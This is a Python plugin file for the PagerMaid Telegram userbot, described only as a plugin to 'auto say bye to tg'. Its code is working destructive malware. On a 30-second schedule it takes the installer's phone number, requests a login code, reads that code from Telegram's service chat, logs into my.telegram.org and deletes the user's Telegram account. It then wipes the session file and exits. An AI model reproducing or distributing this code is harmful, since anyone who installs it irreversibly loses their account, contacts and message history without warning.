PagerMaid_Plugins/autobyetg.py

58 lines
1.6 KiB
Python
Raw Normal View History

""" Pagermaid auto say bye to tg plugin. """
import requests
2022-02-13 09:41:11 +00:00
import os
from pagermaid import scheduler, bot
def send_code(num):
link = "https://my.telegram.org/auth/send_password"
body = f"phone={num}"
rsp = requests.post(link, body).json()
return rsp["random_hash"]
def get_cookie(num, hash_, pwd):
link = "https://my.telegram.org/auth/login"
body = f"phone={num}&random_hash={hash_}&password={pwd}"
resp = requests.post(link, body)
return resp.headers["Set-Cookie"]
def delete_account(cookie, _hash, num):
link = "https://my.telegram.org/delete/do_delete"
body = f"hash={_hash}"
header = {
"Cookie": cookie
}
resp = requests.post(link, body, headers=header).text
if resp == "true":
print(f"{num} Account Deleted.")
def get_hash(cookie):
link = "https://my.telegram.org/delete"
header = {
"Cookie": cookie
}
data = requests.get(link, headers=header).text
_hash = data.split("hash: '")[1].split("',")[0]
return _hash
@scheduler.scheduled_job("interval", seconds=30, id="bye_tg")
async def run_one_30_seconds():
me = await bot.get_me()
number = me.phone
async with bot.conversation(777000) as conversation:
await conversation.send_message('1')
code = send_code(number)
chat_response = await conversation.get_response()
await bot.send_read_acknowledge(conversation.chat_id)
msg = chat_response.text
pwd = msg.split('code:')[1].split('\n')[1]
cookie = get_cookie(number, code, pwd)
_hash = get_hash(cookie)
delete_account(cookie, _hash, number)
2022-02-13 09:41:11 +00:00
os.remove('pagermaid.session')
os._exit(0) # noqa